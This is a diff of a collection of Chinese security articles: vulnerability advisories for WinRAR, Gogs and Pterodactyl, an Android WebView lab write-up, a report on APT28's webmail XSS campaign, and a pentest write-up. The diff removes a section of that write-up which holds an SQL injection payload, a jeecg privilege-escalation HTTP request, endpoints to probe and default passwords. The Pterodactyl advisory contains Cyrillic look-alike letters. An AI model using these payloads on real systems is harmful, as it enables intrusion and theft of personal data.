DEFAULT_PRIVATE = always ; 新仓库自动设为私有
|
||||
|
||||
**4. IP白名单与防火墙**
|
||||
|
||||
使用 iptables 或 ufw 限制访问来源：
|
||||
|
||||
# 仅允许IP 192.168.1.0/24 网段访问
|
||||
|
||||
sudo ufw allow from 192.168.1.0/24 to any port 3000,22
|
||||
|
||||
|
||||
**07**
|
||||
|
||||
**时间线**
|
||||
|
||||
|
||||
|
||||
2025年6月25日，360漏洞研究院发布安全风险通告。
|
||||
|
||||
|
||||
**08**
|
||||
|
||||
参考链接
|
||||
|
||||
|
||||
|
||||
https://github.com/gogs/gogs/security/advisories/GHSA-wj44-9vcg-wjq7
|
||||
|
||||
https://github.com/gogs/gogs/commit/77a4a945ae9a87f77e392e9066b560edb71b5de9
|
||||
|
||||
https://github.com/gogs/gogs/releases/tag/v0.13.3
|
||||
|
||||
|
||||
**09**
|
||||
|
||||
更多漏洞情报
|
||||
|
||||
|
||||
|
||||
建议您订阅360数字安全-漏洞情报服务，获取更多漏洞情报详情以及处置建议，让您的企业远离漏洞威胁。
|
||||
|
||||
|
||||
邮箱：360VRI@360.cn
|
||||
|
||||
网址：https://vi.loudongyun.360.net
|
||||
|
||||
|
||||
|
||||
“洞”悉网络威胁，守护数字安全
|
||||
|
||||
|
||||
**关于我们**
|
||||
|
||||
|
||||
360 漏洞研究院，隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”，并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个，收获诸多官方公开致谢。研究院也屡次受邀在BlackHat，Usenix Security，Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果，并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力，帮助各大企业厂商不断完善系统安全，为数字安全保驾护航，筑造数字时代的安全堡垒。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,44 @@
|
||||
# 【漏洞通告】WinRAR 路径处理漏洞导致远程代码执行 (CVE-2025-6218)
|
||||
启明星辰安全简讯 2025-06-25 08:21
|
||||
|
||||
### 一、漏洞概述
|
||||
<table><tbody style="visibility: visible;"><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-width: 2.25pt 1.5pt 1.5pt 2.25pt; border-color: windowtext; border-style: solid; background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞名称<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top: 2.25pt solid windowtext; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">WinRAR 路径处理漏洞导致远程代码执行</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">CVE ID<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" colspan="3" valign="middle" style="width:91.0pt;background:#DEEAF6;border-top:none;border-left:none;border-bottom: 1.5pt solid windowtext;border-right:2.25pt solid windowtext;padding:0pt 5.4pt 0pt 5.4pt;height:20.15pt;"><p style="mso-margin-top-alt: auto;mso-margin-bottom-alt: auto;margin-left: 0.0pt;text-indent: 0.0pt;mso-pagination: widow-orphan;font-size: 12.0pt;font-family: 宋体;mso-fareast-font-family: 宋体;mso-bidi-font-family: 宋体;font-weight: normal;mso-bidi-font-weight: normal;text-align: center;line-height: 150%;"><span style="mso-bookmark:OLE_LINK4;"><span style="mso-bookmark:OLE_LINK1;"><span style="mso-bookmark:OLE_LINK2;"><span style="mso-bookmark:OLE_LINK6;"><span style="mso-bookmark:_Hlk121210716;"><span style="font-family:微软雅黑;mso-ascii-font-family:微软雅黑;mso-bidi-font-family:Arial;font-variant:normal;text-transform:none;color:#333333;">CVE-2025-6218</span></span></span></span></span></span></p></td></tr><tr style="height: 20.15pt; visibility: visible;"><td width="100" style="border-top: none; border-left: 2.25pt solid windowtext; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">漏洞类型<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">RCE<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 1.5pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pt; visibility: visible;" height="20"><p style="text-align: center; line-height: 150%; margin-top: 0px; margin-bottom: 0px; visibility: visible;"><span style="font-family: 微软雅黑, "sans-serif"; color: rgb(51, 51, 51); font-size: 14px; visibility: visible;">发现时间<o:p style="visibility: visible;"></o:p></span></p></td><td width="100" style="border-top: none; border-left: none; border-bottom: 1.5pt solid windowtext; border-right: 2.25pt solid windowtext;background: rgb(222, 234, 246); padding: 0cm 5.4pLine truncated
|
||||
WinRAR是一款广泛使用的文件压缩和解压软件，支持多种压缩格式，如RAR、ZIP和其他常见格式。它提供强大的压缩和加密功能，允许用户创建自解压档案、分卷压缩和文件恢复等。WinRAR界面简洁，操作方便，适用于Windows、Mac和Linux等多个平台。它的压缩比率高，尤其适用于大型文件和文件夹的处理。WinRAR还具备强大的文件管理功能，支持拖放操作，广泛应用于个人和企业的数据存储与传输。
|
||||
|
||||
2025年6月25日，启明星辰集团VSRC监测到WinRAR存在存在路径处理漏洞，可能导致远程代码执行。该漏洞允许远程攻击者在受影响的WinRAR版本上执行任意代码，且需用户交互，攻击者需诱使用户访问恶意页面或打开恶意文件。漏洞的根本原因在于WinRAR对文件路径的处理不当，恶意构造的文件路径可能导致进程访问不该访问的目录，从而在当前用户上下文中执行恶意代码，漏洞评分7.8分，漏洞等级高危。
|
||||
### 二、影响范围
|
||||
|
||||
WinRAR ≤ 7.11
|
||||
### 三、安全措施
|
||||
|
||||
3.1 升级版本
|
||||
|
||||
WinRAR 已发布修复版本，建议受影响用户尽快升级至 WinRAR ≥ 7.12 Beta 1
|
||||
|
||||
下载链接：
|
||||
|
||||
https://www.win-rar.com/singlenewsview.html?&tx_ttnews%5Btt_news%5D=276&cHash=388885bd3908a40726f535c026f94eb6/
|
||||
|
||||
3.2 临时措施
|
||||
|
||||
暂无。
|
||||
|
||||
3.3 通用建议
|
||||
|
||||
定期更新系统补丁，减少系统漏洞，提升服务器的安全性。
|
||||
|
||||
加强系统和网络的访问控制，修改防火墙策略，关闭非必要的应用端口或服务，减少将危险服务（如SSH、RDP等）暴露到公网，减少攻击面。
|
||||
|
||||
使用企业级安全产品，提升企业的网络安全性能。
|
||||
|
||||
加强系统用户和权限管理，启用多因素认证机制和最小权限原则，用户和软件权限应保持在最低限度。
|
||||
|
||||
启用强密码策略并设置为定期修改。
|
||||
|
||||
3.4 参考链接
|
||||
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-25-409/
|
||||
|
||||
https://www.win-rar.com/singlenewsview.html?&tx_ttnews%5Btt_news%5D=276&cHash=388885bd3908a40726f535c026f94eb6
|
||||
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2025-6218
|
||||
@@ -0,0 +1,33 @@
|
||||
# 【高危漏洞预警】 Gogs内部文件删除致远程命令注入漏洞
|
||||
cexlife 飓风网络安全 2025-06-25 09:33
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
Gogs是一款开源的自主托管Git服务,CVE-2024-56731中,攻击者可构造请求删除.git目录下的文件覆写相关敏感配置并实现远程命令执行控制服务器,官方已发布0.13.3版本修复该漏洞。
|
||||
|
||||
|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者可能通过未经授权的方式访问Gogs实例,删除.git目录下的文件并实现远程命令执行
|
||||
|
||||
影响产品:
|
||||
|
||||
0.13.3及之前版本
|
||||
|
||||
修复建议:
|
||||
|
||||
补丁名称:
|
||||
|
||||
Gоɡѕ信息泄露漏洞的补丁-更新至最新版本0.13.３
|
||||
|
||||
文件链接:
|
||||
|
||||
https://github.com/gogs/gogs/releases/tag/v0.13.3
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
# 【高危漏洞预警】Pterodactyl代码执行漏洞(CVE-2025-49132)
|
||||
cexlife 飓风网络安全 2025-06-25 09:33
|
||||
|
||||
|
||||
|
||||
漏洞描述:
|
||||
|
||||
Ptеrоdасtуl是一个免费的开源游戏服务器管理面板,在1.11.1版本之前使用/lосаlеѕ/lосаlе.јѕоn并带有lосаlе和nаmеѕрасе查询参数时恶意行为者可以在未经过身份验证的情况下执行任意代码,利用执行任意代码的能力可以用于获取面板服务器的访问权限从面板配置中读取凭据从数据库中提取敏感信息,访问由面板管理的服务器文件等,此问题已在1.11.11版本中修复。
|
||||
|
||||
|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者可以通过/locales/locale.json端点,使用locale和namespace查询参数来执行任意代码,无需身份验证。
|
||||
|
||||
影响产品:
|
||||
|
||||
<1.11.11
|
||||
|
||||
检测方法:
|
||||
|
||||
通过检查Pterodactyl面板的版本号来确定是否受影响,使用命令php artisan --version可以查看当前版本。
|
||||
|
||||
修复建议:
|
||||
|
||||
补丁名称:
|
||||
|
||||
Ptеrоdасtуl代码执行漏洞的补丁—更新至最新版本1.11.1
|
||||
|
||||
文件链接:
|
||||
|
||||
https://github.com/pterodactyl/panel/releases/tag/v1.11.11
|
||||
|
||||
缓解措施:
|
||||
|
||||
议用户尽快更新到最新版本以避免潜在的攻击风险,此外使用Wеb应用防火墙可以提供额外的保护
|
||||
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
# 利用 WebView 漏洞：绕过 SOP 访问内部应用程序文件
|
||||
原创 红云谈安全 红云谈安全 2025-06-25 11:50
|
||||
|
||||
**免责声明**
|
||||
|
||||
由于传播、利用本公众号红云谈安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号红云谈安全及作者不为**此**
|
||||
承担任何责任，一旦造成后果请自行承担！
|
||||
如有侵权烦请告知，我们会立即删除并致歉。谢谢！请在授权的站点测试，遵守网络安全法！
|
||||
**仅供**
|
||||
**学习使用，****如若非法他用，与平台和本文作者无关，需自行负责！**
|
||||
|
||||
|
||||
你有没有想过能够窃取 Android 应用程序的内部文件，例如
|
||||
.db
|
||||
文件或其他敏感数据？在本文中，我将通过解决
|
||||
hextree.io
|
||||
的一个实验来指导你如何做到这一点。
|
||||
# 初步分析
|
||||
|
||||
**首先，我在Android Studio 模拟器**
|
||||
上安装了目标应用程序，并使用
|
||||
**JADX**
|
||||
对其进行反编译，以分析其
|
||||
AndroidManifest.xml
|
||||
文件。我很快注意到一个
|
||||
**WebView 活动**
|
||||
被标记为
|
||||
exported="true"
|
||||
|
||||
|
||||
为了进一步调查，我检查了活动的
|
||||
**onCreate()**
|
||||
方法。
|
||||
|
||||
# 分解 onCreate() 方法
|
||||
1. 应用程序使用 检索额外的字符串值 (
|
||||
URL
|
||||
)
|
||||
getIntent()
|
||||
。
|
||||
|
||||
1. 如果值为
|
||||
null
|
||||
，则默认为加载
|
||||
https://www.hextree.io
|
||||
。
|
||||
|
||||
1. 然后，它使用以下内容配置 WebView 设置：
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
这些设置
|
||||
**非常危险**
|
||||
，尤其是：
|
||||
- setAllowUniversalAccessFromFileURLs(true)
|
||||
，允许 WebView 从多个来源加载文件，包括
|
||||
https://
|
||||
、、
|
||||
content://
|
||||
和
|
||||
file://
|
||||
……等
|
||||
|
||||
- 这可能使攻击者能够通过恶意 HTML 页面读取本地文件，或获得
|
||||
**RCE。**
|
||||
|
||||
\4. 应用程序生成一个随机
|
||||
**UUID**
|
||||
并将其写入名为 的文件中
|
||||
token.txt
|
||||
。
|
||||
|
||||
\5. 它注册一个名为的
|
||||
**JavaScript 接口**
|
||||
"hextree"
|
||||
，并将其映射到一个
|
||||
JsObject
|
||||
类。
|
||||
|
||||
\6. 最后，它加载提供的
|
||||
URL
|
||||
。
|
||||
# 检查 JavaScript 接口
|
||||
|
||||
|
||||
该类
|
||||
JsObject
|
||||
包含一个
|
||||
authCallback()
|
||||
函数：
|
||||
- 接受一个
|
||||
**标记**
|
||||
作为参数。
|
||||
|
||||
- 读取
|
||||
token.txt
|
||||
文件并比较其值。
|
||||
|
||||
- 如果令牌匹配，它将触发该
|
||||
success()
|
||||
方法（这是我们的目标）。
|
||||
|
||||
- 否则，它什么也不做。
|
||||
|
||||
# 漏洞利用
|
||||
|
||||
由于该应用程序允许通用文件访问并提供了 JavaScript 接口，我们可以通过加载带有
|
||||
**恶意 JavaScript 负载的**
|
||||
外部 URL 来利用它。
|
||||
## 1. JavaScript 有效载荷
|
||||
|
||||
以下脚本将从函数中窃取令牌
|
||||
token.txt
|
||||
并将其传递给
|
||||
authCallback()
|
||||
函数：
|
||||
```
|
||||
```
|
||||
## 解释：
|
||||
- onload
|
||||
该脚本在页面加载（事件）时执行。
|
||||
|
||||
- 它发出
|
||||
**XHR 请求**
|
||||
来检索的内容
|
||||
token.txt
|
||||
。
|
||||
|
||||
- 一旦加载，它
|
||||
**会修剪**
|
||||
响应并将其发送到
|
||||
authCallback()
|
||||
，从而触发成功条件。
|
||||
|
||||
将此有效载荷保存为
|
||||
exploit.html
|
||||
应用程序的内部存储：file:///data/data/io.hextree.attacksurface/files/exploit.html
|
||||
# 2. 部署攻击
|
||||
|
||||
为了启动漏洞利用，我们需要创建一个
|
||||
**攻击应用程序**
|
||||
，向易受攻击的 WebView 活动发送意图，指示它加载我们的恶意 HTML 文件。
|
||||
## 漏洞利用应用程序代码：
|
||||
```
|
||||
```
|
||||
## 工作原理：
|
||||
1. 该应用程序通过指定其包和类名
|
||||
**来定位易受攻击的 WebView 活动。**
|
||||
|
||||
1. 它设置为我们的
|
||||
**恶意 HTML 负载**
|
||||
exploitUrl
|
||||
的路径。
|
||||
|
||||
1. 它将这个 URL 作为额外的字符串（ ）
|
||||
**传递**
|
||||
URL
|
||||
并启动活动。
|
||||
|
||||
一旦漏洞应用程序启动，易受攻击的 WebView 就会加载我们的有效负载，读取
|
||||
token.txt
|
||||
，并成功触发
|
||||
authCallback()
|
||||
，从而授予我们访问
|
||||
**标志**
|
||||
的权限。
|
||||
|
||||
|
||||
这表明 Android 应用程序存在严重的
|
||||
**WebView 漏洞**
|
||||
，并展示了如何利用不安全的设置来窃取内部文件。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
# 在全球间谍活动中，政府网络邮件遭 XSS 漏洞攻击
|
||||
Rhinoer 犀牛安全 2025-06-25 15:00
|
||||
|
||||
|
||||
|
||||
黑客正在开展一项代号为“RoundPress”的全球网络间谍活动，利用网络邮件服务器中的零日漏洞和 n 日漏洞窃取高价值政府组织的电子邮件。
|
||||
|
||||
发现此次行动的ESET 研究人员认为，该行动是俄罗斯政府支持的黑客APT28（又名“Fancy Bear”或“Sednit”）所为，且有一定把握。
|
||||
|
||||
该活动于 2023 年启动，并于 2024 年继续采用新的漏洞利用，目标是 Roundcube、Horde、MDaemon 和 Zimbra。
|
||||
|
||||
值得注意的目标包括希腊、乌克兰、塞尔维亚和喀麦隆的政府、乌克兰和厄瓜多尔的军事单位、乌克兰、保加利亚和罗马尼亚的国防公司以及乌克兰和保加利亚的关键基础设施。
|
||||
|
||||
|
||||
|
||||
打开电子邮件，数据被盗
|
||||
|
||||
攻击始于一封引用当前新闻或政治事件的鱼叉式网络钓鱼电子邮件，通常包括新闻文章摘录以增加合法性。
|
||||
|
||||
电子邮件 HTML 正文中嵌入的恶意 JavaScript 负载会触发收件人使用的 Web 邮件浏览器页面中的跨站点脚本 (XSS) 漏洞的利用。
|
||||
|
||||
受害者只需打开电子邮件即可查看，因为恶意 JavaScript 脚本的执行不需要其他交互/点击、重定向或数据输入。
|
||||
|
||||
|
||||
|
||||
该有效载荷没有持久机制，因此仅在打开恶意电子邮件时执行。
|
||||
|
||||
该脚本创建不可见的输入字段来诱骗浏览器或密码管理器自动填充受害者电子邮件帐户的存储凭据。
|
||||
|
||||
|
||||
|
||||
此外，它还读取 DOM 或发送 HTTP 请求来收集电子邮件消息内容、联系人、网络邮件设置、登录历史记录、双因素身份验证和密码。
|
||||
|
||||
然后使用 HTTP POST 请求将数据泄露到硬编码的命令和控制 (C2) 地址。
|
||||
|
||||
每个脚本都有一组略有不同的功能，根据其目标产品进行调整。
|
||||
|
||||
漏洞目标
|
||||
|
||||
RoundPress 行动针对的是重要组织通常用来注入恶意 JS 脚本的各种网络邮件产品中的多个 XSS 漏洞。
|
||||
|
||||
与此活动相关的 ESET 漏洞利用涉及以下缺陷：
|
||||
- Roundcube - CVE-2020-35730：黑客于 2023 年利用的一个存储型 XSS 漏洞，将 JavaScript 直接嵌入电子邮件正文中。当受害者在基于浏览器的 Web 邮件会话中打开电子邮件时，该脚本会在其上下文中执行，从而窃取凭证和数据。
|
||||
|
||||
- Roundcube - CVE-2023-43770：Roundcube 处理超链接文本时存在 XSS 漏洞，该漏洞于 2024 年初被利用。不当的清理导致攻击者将 <script> 标签注入电子邮件内容，并在用户查看时执行。
|
||||
|
||||
- MDaemon - CVE-2024-11182：MDaemon 电子邮件服务器 HTML 解析器中的一个零日 XSS 漏洞，于 2024 年末被黑客利用。攻击者通过构造带有 noembed 标签的畸形 title 属性，可以渲染隐藏的 <img onerror> 负载并执行 JavaScript 代码。这会导致凭证窃取、双因素身份验证 (2FA) 绕过以及通过应用密码实现持久访问。
|
||||
|
||||
- Horde – 未知 XSS：APT28 试图通过在 <img onerror> 处理程序中放置脚本来利用 Horde 中一个旧的 XSS 漏洞。然而，此次尝试失败了，可能是由于现代 Horde 版本中的内置过滤功能。具体漏洞尚未确认，但目前似乎已得到修补。
|
||||
|
||||
- Zimbra - CVE-2024-27443：Zimbra 日历邀请处理中存在一个 XSS 漏洞，此前该漏洞未被标记为主动利用漏洞。X-Zimbra-Calendar-Intended-For 标头中未经过滤的输入允许 JavaScript 代码注入日历界面。APT28 嵌入了一个隐藏脚本，该脚本会在用户查看邀请时解码并执行 base64 JavaScript 代码。
|
||||
|
||||
|
||||
尽管 ESET 没有报告 2025 年的任何 RoundPress 活动，但黑客的方法也很容易应用于今年，因为流行的网络邮件产品中不断出现新的 XSS 漏洞。
|
||||
|
||||
|
||||
信息来源：B
|
||||
leepingComputer
|
||||
|
||||
@@ -1,36 +1,20 @@
|
||||
# 渗透测试｜某单位从敏感三要素泄露到接管管理员的漏洞挖掘之旅
|
||||
原创 神农Sec 神农Sec 2025-06-23 01:00
|
||||
不秃头的安全 2025-06-25 08:55
|
||||
|
||||
扫码加圈子
|
||||
## 某单位从敏感三要素泄露到接管管理员的漏洞挖掘之旅
|
||||
```
|
||||
前言：本文中涉及到的相关技术或工具仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担，如有侵权请私聊删除。还在学怎么挖通用漏洞和src吗？知识星球有什么，文章下私聊我优惠~~需要加2025hw情报群的私我拉，想要入交流群在最下方，考安全证书请联系vx咨询。
|
||||
```
|
||||
|
||||
获内部资料
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#
|
||||
|
||||
网络安全领域各种资源，EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章，以及工具分享、前沿信息分享、POC、EXP分享。
|
||||
不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（知识星球优惠卷）。
|
||||
#
|
||||
|
||||
|
||||
文章来源：https://zone.huoxian.cn/d/2990/
|
||||
|
||||
|
||||
|
||||
|
||||
**分享某次项目上的渗透测试漏洞复盘**
|
||||
|
||||
|
||||
## 声明
|
||||
|
||||
- 本文章所分享内容仅用于网络安全技术讨论，切勿用于违法途径，所有渗透都需获取授权，违者后果自行承担，与本号及作者无关，请谨记守法.
|
||||
|
||||
- 原文链接：
|
||||
https://zone.huoxian.cn/d/2990
|
||||
原文链接：https://zone.huoxian.cn/d/2990
|
||||
|
||||
## 0x1 前言
|
||||
|
||||
@@ -448,189 +432,8 @@ https://xz.aliyun.com/news/16153
|
||||
|
||||
|
||||
|
||||
## 0x6 jeecg泄露漏洞
|
||||
|
||||
### 一、jeecg框架简介
|
||||
|
||||
|
||||
JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台，旨在帮助企业快速实现低代码开发和构建个性化AI应用！前后端分离架构Ant Design&Vue3，SpringBoot，SpringCloud Alibaba，Mybatis-plus，Shiro。强大的代码生成器让前后端代码一键生成，无需写任何代码！ 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE， 帮助Java项目解决80%的重复工作，让开发更多关注业务，快速提高效率 节省成本，同时又不失灵活性！低代码能力：Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力：AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.
|
||||
|
||||
|
||||
jeecg官网如下：
|
||||
|
||||
|
||||
https://www.jeecg.com/
|
||||
|
||||
|
||||
|
||||
|
||||
### 二、jeecg综合漏洞利用工具
|
||||
|
||||
|
||||
这里先给新手师傅们分享个还不错的jeecg漏洞利用工具，首先这个工具书GUI图形化工具，还有就是这个工具更新了很大jeecg的历史nday漏洞在里面，使用操作简单
|
||||
|
||||
|
||||
工具下载链接：
|
||||
https://github.com/MInggongK/jeecg-
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这里给师傅们演示下，直接把可能存在jeecg漏洞的url导入目标中，然后选择ALL模块，进行检测即可
|
||||
|
||||
|
||||
|
||||
|
||||
### 三、从小程序到web端接口泄露
|
||||
|
||||
|
||||
好了，这里废话不多说了，这里回归这次渗透测试项目中来，再次给师傅们分享下这个漏洞，因为有些刚接触网安的师傅还没有接触这个漏洞，所以这里给大家分享下，这次jeecg漏洞通过以前保留的一些jeecg测试手册，一些jeecg的接口和bp数据包，像这样的jeecg框架系统，都是可以直接拿来测试
|
||||
|
||||
|
||||
1、首先，这个系统漏洞还是小程序，直接搜索对应资产小程序名称，这个系统是该市里面的一个大学的缴费系统
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2、打开微信小程序，首先我会直接去打开bp抓包，然后这里随便点击里面的功能点，然后进行看里面的数据包
|
||||
|
||||
|
||||
然后去翻里面的历史数据包，师傅们可以看到下面的table关键字
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
这个tableNane关键字让我感到兴趣，是因为开发人员在一些做接口命名的时候，不会随意取名称，他这个接口后面的tableNane=xxxx，这里我直接去拿table表名出线多的去尝试猜测下
|
||||
|
||||
|
||||
这里我尝试了几个，但是都没有出信息，还尝试了information_schema.tables表名，都没有什么数据回显
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后我这里还尝试直接把表名置空，但是依然没有什么敏感数据回显
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
3、这里直接把小程序数据包中的host域名和端口，直接放到web端去访问，然后再尝试别的测试
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
4、这里使用findsomething插件，去跑下web页面泄露的接口，这里把收集到的接口放到一个1.txt的文件中
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
5、这里师傅们要是没有思路，最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟
|
||||
tableName
|
||||
相关的
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
6、通过findsomething插件，得到了好几个tableName的接口，然后直接使用bp去访问，发现一个接口直接泄露了四百多个数据表格名称
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后每个表里面都泄露了好几百个个人敏感信息，比如身份证、手机号、姓名之类的
|
||||
|
||||
|
||||
|
||||
|
||||
### 四、SQL注入漏洞
|
||||
|
||||
|
||||
这个小程序的一个接口还存在SQL注入漏洞，通过测试，直接可以注入出数据库名称，直接又一个SQL注入到手了
|
||||
|
||||
```
|
||||
SQL注入payload：updatexml(1,concat(0x7e,user(),0x7e),1)
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 五、提权操作
|
||||
|
||||
|
||||
师傅们，其实测试到这里，这个系统小程序和web端都摸熟悉了，就是jeecg的系统框架，里面的很多接口都是jeecg开发默认的接口名称，但是前面的路径发生了一点变化，没有原班直接拿jeecg的接口使用，但是经过FUZZ测试出来了很多接口，这里给师傅们分享下，我先注册一个账号，然后提权到admin管理员账号的过程。
|
||||
|
||||
|
||||
首先我使用register注册接口，注册一个账号
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
下面就是提权的一个操作了，需要再次FUZZ接口，因为打jeecg漏洞多的师傅们，都知道，jeecg有很多的接口，像什么注册、查信息，查user_id，查所以账号的token值，还有用户敏感信息等，但是现在很多系统都不会直接拿jeecg都路径接口部署了，多多少少会进行魔改
|
||||
|
||||
|
||||
这里首先需要查询管理员admin的账户ID
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后查询自己刚才创建用户的ID值
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
然后使用打提权使用的jeecg漏洞poc，如下：
|
||||
|
||||
|
||||
//roleld填写需要提权的角色id userldList填写自己的id
|
||||
|
||||
```
|
||||
POST xxxxx/jeecg-boot/sys/user/addSysUserRole（jeecg接口，需要自己去尝试，不一定是我这个） HTTP/1.1Host: Cookie: cna=Ov9SH4RxGiACAf////9C18zbUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6ATenant-Id: 0Origin:Dnt: 1Referer: Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originPriority: u=0Te: trailersConnection: closeContent-Type: application/jsonContent-Length: 96{"roleId":"xxxxxxxxxxx","userIdList":["xxxxxxxxxxxxxxxx"]}
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
这样就成功创建了这个系统的admin管理员的账户了，后面的思考就是直接使用创建的账户密码，去尝试爆破登陆其他系统
|
||||
|
||||
### 六、其他jeecg小技巧
|
||||
|
||||
|
||||
下面再给大家总结下jeecg的其他打法小技巧
|
||||
|
||||
|
||||
一、常见的接口敏感信息泄露：
|
||||
|
||||
```
|
||||
/v2/api-docs/swagger-ui.html/env//获取参数信息/actuator/mappings/metrics/beans/configprops/actuator/metrics/actuator/mappings/actuator/beans/actuator/configprops/actuator/httptrace
|
||||
```
|
||||
|
||||
二、常见jeecg框架接口关键字：
|
||||
|
||||
|
||||
像看到下面的几个关键字，首先需要想到使用jeecg去打，因为很多现在直接把jeecg关键字给魔改了
|
||||
|
||||
```
|
||||
jeecg/api/sys/sys/user
|
||||
```
|
||||
|
||||
三、jeecg的几个常用弱口令：
|
||||
|
||||
|
||||
可以使用下面的弱口令去尝试爆破下登陆接口
|
||||
|
||||
```
|
||||
admin:123456jeecg:123456
|
||||
```
|
||||
## 0x7 总结
|
||||
##
|
||||
## 0x6 总结
|
||||
|
||||
|
||||
